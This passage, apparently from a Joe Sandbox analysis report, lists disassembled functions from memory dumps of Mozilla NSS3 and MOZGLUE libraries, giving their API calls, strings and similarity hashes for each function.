Part of subcall function 6CC09BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CB31A48), ref: 6CC09BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CC51016

Part of subcall function 6CBEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBEC2BF

PR_Unlock.NSS3(?), ref: 6CC51021

Part of subcall function 6CBEDD70: TlsGetValue.KERNEL32 ref: 6CBEDD8C
Part of subcall function 6CBEDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CBEDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CC51046
PR_Unlock.NSS3(?), ref: 6CC5106B
PR_Lock.NSS3 ref: 6CC51079
PR_Unlock.NSS3 ref: 6CC51096
free.MOZGLUE(?), ref: 6CC510A7
free.MOZGLUE(?), ref: 6CC510B4
PR_DestroyCondVar.NSS3(?), ref: 6CC510BF
PR_DestroyCondVar.NSS3(?), ref: 6CC510CA
PR_DestroyCondVar.NSS3(?), ref: 6CC510D5
PR_DestroyCondVar.NSS3(?), ref: 6CC510E0
PR_DestroyLock.NSS3(?), ref: 6CC510EB
free.MOZGLUE(?), ref: 6CC51105

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: bea92d869c297737d06df8ac20e05c3005a4eeeffc0de5f82b5ed65db36b2bc9
Instruction ID: b708ae7f1e05698947632132611f82623b7b819fb068be699e15eb40b3982fc1
Opcode Fuzzy Hash: bea92d869c297737d06df8ac20e05c3005a4eeeffc0de5f82b5ed65db36b2bc9
Instruction Fuzzy Hash: 663196B5A00451ABDB02AF19FD45A49BB71FF41358B884221E81943F61E732F978EBC6

Function 6CB8EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CB8EE0B

Part of subcall function 6CBA0BE0: malloc.MOZGLUE(6CB98D2D,?,00000000,?), ref: 6CBA0BF8
Part of subcall function 6CBA0BE0: TlsGetValue.KERNEL32(6CB98D2D,?,00000000,?), ref: 6CBA0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB8EEE1

Part of subcall function 6CB81D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CB81D7E
Part of subcall function 6CB81D50: EnterCriticalSection.KERNEL32(?), ref: 6CB81D8E
Part of subcall function 6CB81D50: PR_Unlock.NSS3(?), ref: 6CB81DD3

TlsGetValue.KERNEL32 ref: 6CB8EE51
EnterCriticalSection.KERNEL32(?), ref: 6CB8EE65
PR_Unlock.NSS3(?), ref: 6CB8EEA2
free.MOZGLUE(?), ref: 6CB8EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CB8EED0
PR_Unlock.NSS3(?), ref: 6CB8EF48
free.MOZGLUE(?), ref: 6CB8EF68
PR_SetError.NSS3(00000000,00000000), ref: 6CB8EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CB8EFA4
free.MOZGLUE(?), ref: 6CB8EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CB8F055
free.MOZGLUE(?), ref: 6CB8F060

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 6c436cbf313d03ef10667be2152827bf950bcbc1e048baf5a5b8d51ad211b877
Instruction ID: 47841ffb8d82c257cd7b7763df161cd87176e4fc0813a7c65bf57525ea15b3e0
Opcode Fuzzy Hash: 6c436cbf313d03ef10667be2152827bf950bcbc1e048baf5a5b8d51ad211b877
Instruction Fuzzy Hash: 80818075A01289ABEF00DFA5DC85ADE7BB5FF08308F040024E919A7711E731E964CBA2

Function 6CB54CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CB54D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CB54D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CB54DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB54E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CB54E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CB54E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CB54E85
DER_Encode_Util.NSS3(?,?,6CCA05A4,00000000), ref: 6CB54EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CB54F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CB54F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB54F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CB54F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB54F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB54FC8

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 2beb391c8093e7b0342f2ebbbad139fcb02e22bc246dcf6ba7ca4acb939bf212
Instruction ID: 017da8d73f9117836e8889f3db2f96ba1f791e7798746d0ac274c59cce2169b4
Opcode Fuzzy Hash: 2beb391c8093e7b0342f2ebbbad139fcb02e22bc246dcf6ba7ca4acb939bf212
Instruction Fuzzy Hash: 9F81A171A08341AFEB01CF28D840B9BB7E4EB89358F548529F95DDB640E731E9258F92

Function 6CA7D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA7D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA7D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA7D52A
GetCurrentThreadId.KERNEL32 ref: 6CA7D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA7D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA7D55F
free.MOZGLUE(00000000), ref: 6CA7D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CA7D5D3
GetCurrentThreadId.KERNEL32 ref: 6CA7D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA7D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA7D652
GetCurrentThreadId.KERNEL32 ref: 6CA7D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA7D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA7D6A2

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: bc569bfbeb04aa9becd2650a3d18a28101aeb1ed8c935ebc85afcab96e0f7b95
Instruction ID: 3d04425497a898cbdb65940ce5ce2e3712f87c22fd70b4145ced6b5b9a549405
Opcode Fuzzy Hash: bc569bfbeb04aa9becd2650a3d18a28101aeb1ed8c935ebc85afcab96e0f7b95
Instruction Fuzzy Hash: 23518F75A0470ADFC714CF74D484A9ABBF4FF89318F10862DE85A97710DB31A989CB91

Function 6CB86C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CB8781D,00000000,6CB7BE2C,?,6CB86B1D,?,?,?,?,00000000,00000000,6CB8781D), ref: 6CB86C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CB8781D,?,6CB7BE2C,?), ref: 6CB86C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CB8781D), ref: 6CB86C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CB86C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CB86C96

Part of subcall function 6CB31240: TlsGetValue.KERNEL32(00000040,?,6CB3116C,NSPR_LOG_MODULES), ref: 6CB31267
Part of subcall function 6CB31240: EnterCriticalSection.KERNEL32(?,?,?,6CB3116C,NSPR_LOG_MODULES), ref: 6CB3127C
Part of subcall function 6CB31240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CB3116C,NSPR_LOG_MODULES), ref: 6CB31291
Part of subcall function 6CB31240: PR_Unlock.NSS3(?,?,?,?,6CB3116C,NSPR_LOG_MODULES), ref: 6CB312A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CB86CAA

Strings

NSS_DEFAULT_DB_TYPE, xrefs: 6CB86C91
dbm:, xrefs: 6CB86C3A
sql:, xrefs: 6CB86C52
extern:, xrefs: 6CB86C7E
dbm, xrefs: 6CB86CA4
rdb:, xrefs: 6CB86C69

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: d75cc91dd65e652bb5c247a1cc86baf6fb59f29791e41ccf483682675edce21d
Instruction ID: 10d2b2d9558f500944755600841b4a51160530250872a711870ead90b70c8102
Opcode Fuzzy Hash: d75cc91dd65e652bb5c247a1cc86baf6fb59f29791e41ccf483682675edce21d
Instruction Fuzzy Hash: 2F01A2B170339127EA102B7A5C4AF27395CDF4115CF140431FE09E0981FFA6E91485AA

Function 6CB94E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CB578F8), ref: 6CB94E6D

Part of subcall function 6CB309E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CB306A2,00000000,?), ref: 6CB309F8
Part of subcall function 6CB309E0: malloc.MOZGLUE(0000001F), ref: 6CB30A18
Part of subcall function 6CB309E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CB30A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CB578F8), ref: 6CB94ED9

Part of subcall function 6CB85920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CB87703,?,00000000,00000000), ref: 6CB85942
Part of subcall function 6CB85920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CB87703), ref: 6CB85954
Part of subcall function 6CB85920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CB8596A
Part of subcall function 6CB85920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CB85984
Part of subcall function 6CB85920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CB85999
Part of subcall function 6CB85920: free.MOZGLUE(00000000), ref: 6CB859BA
Part of subcall function 6CB85920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CB859D3
Part of subcall function 6CB85920: free.MOZGLUE(00000000), ref: 6CB859F5
Part of subcall function 6CB85920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CB85A0A
Part of subcall function 6CB85920: free.MOZGLUE(00000000), ref: 6CB85A2E
Part of subcall function 6CB85920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CB85A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CB578F8), ref: 6CB94EB3

Part of subcall function 6CB94820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CB94EB8,?,?,?,?,?,?,?,?,?,?,6CB578F8), ref: 6CB9484C
Part of subcall function 6CB94820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CB94EB8,?,?,?,?,?,?,?,?,?,?,6CB578F8), ref: 6CB9486D
Part of subcall function 6CB94820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CB94EB8,?), ref: 6CB94884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CB578F8), ref: 6CB94EC0

Part of subcall function 6CB94470: TlsGetValue.KERNEL32(00000000,?,6CB57296,00000000), ref: 6CB94487
Part of subcall function 6CB94470: EnterCriticalSection.KERNEL32(?,?,?,6CB57296,00000000), ref: 6CB944A0
Part of subcall function 6CB94470: PR_Unlock.NSS3(?,?,?,?,6CB57296,00000000), ref: 6CB944BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CB578F8), ref: 6CB94F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CB578F8), ref: 6CB94F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CB578F8), ref: 6CB94F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CB578F8), ref: 6CB94F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB578F8), ref: 6CB94F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB578F8), ref: 6CB94F8F
PK11_UpdateSlotAttribute.NSS3(?,6CC6DCB0,00000000), ref: 6CB94FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CB9501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CB578F8), ref: 6CB9506B

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 9f3c52cd8287b7a150d5782c29cd55d3289a13c88453100a0cd9e617cd89fdb1
Instruction ID: 655860369b625d12609ca5adcdd61d5d665020adb0fabd062e54e3ebf3375274
Opcode Fuzzy Hash: 9f3c52cd8287b7a150d5782c29cd55d3289a13c88453100a0cd9e617cd89fdb1
Instruction Fuzzy Hash: 9751F4B1D002869FEB019F64EC05A9F3AB8FF0635DF180635EC1A97A12F731D5188A92

Function 6CB3ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB3ACE2
malloc.MOZGLUE(00000001), ref: 6CB3ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CB3AD02
TlsGetValue.KERNEL32 ref: 6CB3AD3C
calloc.MOZGLUE(00000001,?), ref: 6CB3AD8C
PR_Unlock.NSS3 ref: 6CB3ADC0
free.MOZGLUE(00000000), ref: 6CB3AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CB3AE58
free.MOZGLUE(00000000), ref: 6CB3AE69
free.MOZGLUE(?), ref: 6CB3AE78
PR_Unlock.NSS3 ref: 6CB3AE8C
free.MOZGLUE(?), ref: 6CB3AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB3AEC7

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 8cc1dee3b62457967fb2d7d465f635bd1a70f295546864b336b5d699570ff57e
Instruction ID: 6f80f0c2589d9aa0fa5cbd59af321e1626a55738778c3bdf5368e7dfd18bd618
Opcode Fuzzy Hash: 8cc1dee3b62457967fb2d7d465f635bd1a70f295546864b336b5d699570ff57e
Instruction Fuzzy Hash: 50519CB4E00276CBDF01DFE8E8456AEB7B4EB06349F240125D808A3A60E731E955CFD6

Function 6CC14C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CC14CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CC14CFD
sqlite3_value_text16.NSS3(?), ref: 6CC14D44

Strings

unknown error, xrefs: 6CC14D56
API call with %s database connection pointer, xrefs: 6CC14CF6
out of memory, xrefs: 6CC14C78, 6CC14C9E
bad parameter or other API misuse, xrefs: 6CC14D05
abort due to ROLLBACK, xrefs: 6CC14D27, 6CC14D33
invalid, xrefs: 6CC14CF1
no more rows available, xrefs: 6CC14D2E
another row available, xrefs: 6CC14D20

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 9a72e86c2565dc5d20ff5e8b84e4b5ee5ef91cab5919a90b917a5037e7df3d76
Instruction ID: 5220a3ad3579eb83ae30e0298e0683396f9a3aa305f0ac222b16782c4d18fe78
Opcode Fuzzy Hash: 9a72e86c2565dc5d20ff5e8b84e4b5ee5ef91cab5919a90b917a5037e7df3d76
Instruction Fuzzy Hash: F9317CB3E0C851A7DB08DB27D8217A57332B78235CF150165D4244BF54FB61EC22A7E2

Function 6CA6EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA34A68), ref: 6CA6945E
Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA69470
Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA69482
Part of subcall function 6CA69420: __Init_thread_footer.LIBCMT ref: 6CA6949F

GetCurrentThreadId.KERNEL32 ref: 6CA6EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA6EC8C

Part of subcall function 6CA694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA694EE
Part of subcall function 6CA694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA69508

GetCurrentThreadId.KERNEL32 ref: 6CA6ECA1
AcquireSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CA6ECC5
ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CA6ED19
CloseHandle.KERNEL32(?), ref: 6CA6ED28
free.MOZGLUE(00000000), ref: 6CA6ED2F
ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CA6EC94

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 236b17500267878dc36771be87d7825bbbb8cd28f63d6c37757e27cc5b9fb82d
Instruction ID: 3c434d87c70bf59bb975d1db77b091c5939528286d246e2832e050a9cf903e67
Opcode Fuzzy Hash: 236b17500267878dc36771be87d7825bbbb8cd28f63d6c37757e27cc5b9fb82d
Instruction Fuzzy Hash: 9921D87550020AEFDB049FA5FC04A9E3779FB4526CF148215FD1857B40D731988B8BA1

Function 6CC12D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CC12D9F

Part of subcall function 6CACCA30: EnterCriticalSection.KERNEL32(?,?,?,6CB2F9C9,?,6CB2F4DA,6CB2F9C9,?,?,6CAF369A), ref: 6CACCA7A
Part of subcall function 6CACCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CACCB26

sqlite3_exec.NSS3(?,?,6CC12F70,?,?), ref: 6CC12DF9
sqlite3_free.NSS3(00000000), ref: 6CC12E2C
sqlite3_free.NSS3(?), ref: 6CC12E3A
sqlite3_free.NSS3(?), ref: 6CC12E52
sqlite3_mprintf.NSS3(6CC7AAF9,?), ref: 6CC12E62
sqlite3_free.NSS3(?), ref: 6CC12E70
sqlite3_free.NSS3(?), ref: 6CC12E89
sqlite3_free.NSS3(?), ref: 6CC12EBB
sqlite3_free.NSS3(?), ref: 6CC12ECB
sqlite3_free.NSS3(00000000), ref: 6CC12F3E
sqlite3_free.NSS3(?), ref: 6CC12F4C

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 00cbf0abc55fda43c1b3429b4286ddc25170871427d44918283da6e07bb72ef4
Instruction ID: 33fa7798db2bb1897e9bbe7aefe262c0248bff984176e0a61f3c0a7097dd74cc
Opcode Fuzzy Hash: 00cbf0abc55fda43c1b3429b4286ddc25170871427d44918283da6e07bb72ef4
Instruction Fuzzy Hash: A76190B9E042058BEB00CF6AD894B9EB7B1FF5A348F144064DC55A7B01F731E859DBA1

Function 6CB62C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CB63F23,?,6CB5E477,?,?,?,00000001,00000000,?,?,6CB63F23,?), ref: 6CB62C62
